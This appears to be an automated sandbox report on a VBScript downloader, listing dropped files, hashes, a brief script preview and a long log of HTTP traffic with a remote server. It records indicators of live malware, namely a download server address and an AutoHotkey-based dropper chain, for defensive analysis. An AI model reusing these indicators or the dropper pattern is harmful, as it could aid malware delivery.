Preview:	90E9B90300000053746E647241655266486A627759676E4F6F79634B425A524B526355557A65784A55544550424776786F684C744C516F6E7253697A45706376744771447155677A5A576963544F477A4A454248774D784E734270734461504758564F784F6E6D6566456164525179595951764F7942777056715A544E426C6543486D795A45746D7A5241436D4A4F65797957476A586D5575555871594E75577554764F65767949664269547452727A51427268594E6F7A554D5A4B426D6F51615A434D6C7357634C6F466865714F6F567079456E55735A706B644B6E634B50684B455642647962544647684D4F486154755371776F4A6D6F74704C44537576516467626B706E69515068736A76734A674E485A575952646D6F56536F575A497377746577555162475A6D6250616C4E744A46746B65506C744A705751645959717A6B6C764E6364676A66624158796942506A424D535676486C5A76654B4F6C426F65527454704D546765594C6A6B6D526177485A415A714E7449437A504A4E6469697944716D776D78496A726B74534E476469787667446B77666D59575575724F6D576C6C5A42724879495167556D636B794B4962554C6B796E655A6D7874566B4C6A4751626F63587067684841684A49456667526B7050796D77417772764C4B497564756C595A79625A4F5A564D5A706475

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fykbmgsz[1]

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	795674
Entropy (8bit):	7.994720720467439
Encrypted:	true
SSDEEP:	24576:iDv3cPduvcaRMi59YF7neQfxdIhjRT2Wrp:ij9kBi7kLeQydT2Wrp
MD5:	60817831FC3EA259D45C9A537172F080
SHA1:	BC6BE7D44565B13E1008A3B962ABC9BC6EE44217
SHA-256:	75D89FD4AA29E97E8859BDF734602490DA0F90A4FD5213F737857D971C82E80C
SHA-512:	02FC5B1202897E0D1D99FF636AB43B9D4BB6335F1FC538BD63D361B4025584F8196504F4366668DC919C1C8CB52EEA3742FDF8746748DAE00BEF4AF0C606EBDD
Malicious:	false
Reputation:	low
Preview:	PK........G/.X[...Y...b.......test.txt..W..8.6.-.7.i....y...dUi.[.n..gZ.4p........~..7u.....u:.w...x.N...v.....\|z....z.....v.....]...x..n~.....;.....>].....8n.~.w...z.....i............I.jy{s;.R]....T..?.....N[........F.......?...\|=...s..w>o4.....:.N...7./.._....?=..6..w...t;..83.:.....^.'m\..;]=..Nm[..N.\|.v.sxj.....&z.....7...qz.N.......n.{<.4.?.@.~:..Fk.....wZ=..........j."..5...-m....0I.....`fw..._z....y......g..dV@R...9\|{r;\.{P=.m..=..cZ.e{z....U...(..s.........Q..v:.g...YS.....=X....p2sw.y..Y.khb\.cFs..........3.5..4=...fb.gp....`..?..b.o....k...m........vw.K.............W}......8..%u...=}.7.3..qo..r..A...>R[...6....._'3..3...C.n..p...kj..g.6F\|..;3...z...2CQ`.8.n.R..p..........SyP(*.C. .:...5\|AQ.C.....q.......h..^.:.B.0i.3.w..j<..R..V<)...`Vj~.......@...P..d....u.Bh.,0............,.`Lf.Ld.-..o/.....Iy..>m.w.Y....+..3.F..[(...\|..._(F3..................sj=.Z...6....)..Z.....`......./..xzW.pW=..Y<9\|+...}s.}.j.. .....`....(.D..z..i.[

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.1077153913004825
Encrypted:	false
SSDEEP:	48:r8sPtL+1rVW0T1MqughNY1IkAKOSuPlQBSuH3kbTpadR1Im/BRQd2KuXb:BaNJ4ClbYdRyXdY
MD5:	9A88762EC6B39491DC41D1941A2FCA5F
SHA1:	92B4C534DEDD8BC4D8DA573303260621A8D8DCA1
SHA-256:	D9359A3F7860EACCB1696783DE2A4F94E6B83319C845EA5A5D5EC95DD669462E
SHA-512:	49F2F8EE5C25A8130190B5329150BB3B3BE769310B98BCCB646EED4BB0271472075B68F9CD8FBF0DBB1CE2E9D7B3BAF93C5807B402A0B024477A400F554E6BB2
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\heeeaAd

Download File

Process:	C:\NwiQ\AutoHotkey.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	3.7775182662886326
Encrypted:	false
SSDEEP:	3:UD2kttQO:nkf1
MD5:	A3591CF79D32721C5ACC71515E4E18AC
SHA1:	DD6ABCC469EB58977455BE1AA654F6ABA4AC7FE2
SHA-256:	B6736240A09058D775703B3980744BAB11AA6A931C2761E8864C1E8E509F80D0
SHA-512:	12468CCF190CBBA47F01C2C4D43A0CB65C9E78845C6AA96B950984613339D1D70A2478B7443A2A04069C9F9BC2628ABC9E19F3889BE96774831CFEDF5193D664
Malicious:	false
Reputation:	low
Preview:	GbbAEfbKKeGcbHEHdhFKDKcaHBCBbaee

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.049551124986586
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	ndvdikok.vbs
File size:	1'629 bytes
MD5:	32f61baa669991fb989439babaf493ff
SHA1:	4242d545077e3e643854e3148e00c8283533b9ab
SHA256:	75db6f949461cb03a155dd26c781a3c9e00edb917275f3b4d306b7094ed06a14
SHA512:	d20bf0b9a664caa9e9fe18dcb3899182b8f8bbb0275907bec6e3e888c0d2cd36a17ba24c49a3b92910ee075e6309aef5b8cf9392acf5833d66c0fbdcd3fdc2df
SSDEEP:	24:/seK+C6uS9ciJ+p/Mb2vwtIjAaAs3iQe1sLPbLsH+U/jlhJSf7V7iOtXYOcqVx3:/F1CT5i+xFljAaAZthJuVmOGOcqL3
TLSH:	4A31424EF4C7C14847F39AD8E0D28C18F2629007A23B8874BE4CE9862F354DCA2E596D
File Content Preview:	on error resume next..Function GenerateRandomString(ByVal length).. Dim characters, characterCount, randomString, i, position.... characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".. characterCount = Len(characters)..

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 06:39:54.829952955 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:54.981851101 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:54.981991053 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:54.987380981 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.139170885 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488548994 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488569975 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488579988 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488586903 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488603115 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488614082 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488626957 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488640070 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488651037 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488662004 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.488810062 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.488810062 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.641962051 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.642024040 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.642045975 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.642081976 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.662386894 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662400961 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662410975 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662422895 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662436008 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662450075 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662461996 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662476063 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662487984 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662498951 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662540913 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662555933 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662571907 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.662597895 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.662597895 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.662597895 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.662656069 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.662656069 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.793950081 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.793967962 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.793978930 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.793991089 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.794002056 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.794013977 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.794018030 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.794025898 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.794038057 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.794125080 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.794125080 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.833893061 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833909988 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833915949 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833926916 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833933115 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833939075 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.833950043 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834017038 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834062099 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834100008 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834115028 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834140062 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834146023 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834157944 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834170103 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834172010 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834184885 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834187031 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834197998 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834204912 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834212065 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834222078 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834224939 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834238052 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834247112 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834250927 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834264040 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834264040 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834276915 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834290028 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834290981 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834304094 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834315062 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834316969 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834326982 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.834328890 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834357023 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.834378958 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948004007 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948257923 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948378086 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948395967 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948407888 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948425055 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948436975 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948471069 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948544025 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948556900 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948571920 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948584080 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948586941 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948597908 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948611021 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948618889 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948622942 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948635101 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948647022 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948649883 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948663950 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948700905 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948700905 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948717117 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948846102 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948860884 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948872089 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.948899031 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948926926 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.948992968 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.949040890 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:55.985749960 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:55.985872030 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.006942034 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.006959915 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.006970882 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.006983042 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.006995916 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007008076 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007019997 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007030964 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007041931 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007065058 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007076979 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007080078 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007148027 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007152081 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007160902 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007170916 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007183075 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007194042 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007203102 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007208109 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007220984 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007221937 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007234097 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007246971 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007257938 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007261038 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007273912 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007286072 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007287025 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007296085 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007299900 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007314920 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007327080 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007328033 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007349968 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007353067 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007361889 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007374048 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007375956 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007389069 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007401943 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007415056 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007426977 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007430077 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007438898 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007438898 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007453918 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007467031 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007476091 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007479906 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007492065 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.007494926 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007519007 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.007548094 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100282907 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100303888 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100313902 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100320101 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100327015 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100332975 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100344896 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100358963 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100370884 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100383043 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100394011 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100405931 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100415945 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100426912 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100430012 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100438118 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100450993 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100461960 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100474119 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100475073 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100493908 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100506067 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100511074 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100522041 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100523949 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100565910 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100578070 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100593090 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100606918 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100617886 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100629091 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100629091 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100642920 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100650072 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100656033 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.100680113 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.100698948 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.179699898 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179740906 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179752111 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179759026 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179764986 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179776907 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179789066 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179800034 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179811954 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179850101 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179861069 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179869890 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.179873943 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179888964 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179902077 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179913044 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179920912 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.179924965 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179938078 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179945946 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.179950953 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.179966927 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.179991961 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180134058 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180145979 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180155993 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180166960 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180176973 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180183887 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180191040 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180201054 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180203915 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180213928 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180217981 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180224895 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180236101 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180247068 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180258036 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180259943 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180270910 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180283070 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180284977 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180296898 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180305004 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180313110 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180326939 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180334091 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180339098 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180351019 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180360079 CEST	49730	80	192.168.2.4	205.234.201.153
Apr 17, 2024 06:39:56.180363894 CEST	80	49730	205.234.201.153	192.168.2.4
Apr 17, 2024 06:39:56.180377007 CEST	80	49730	205.234.201.153	192.168.2.4
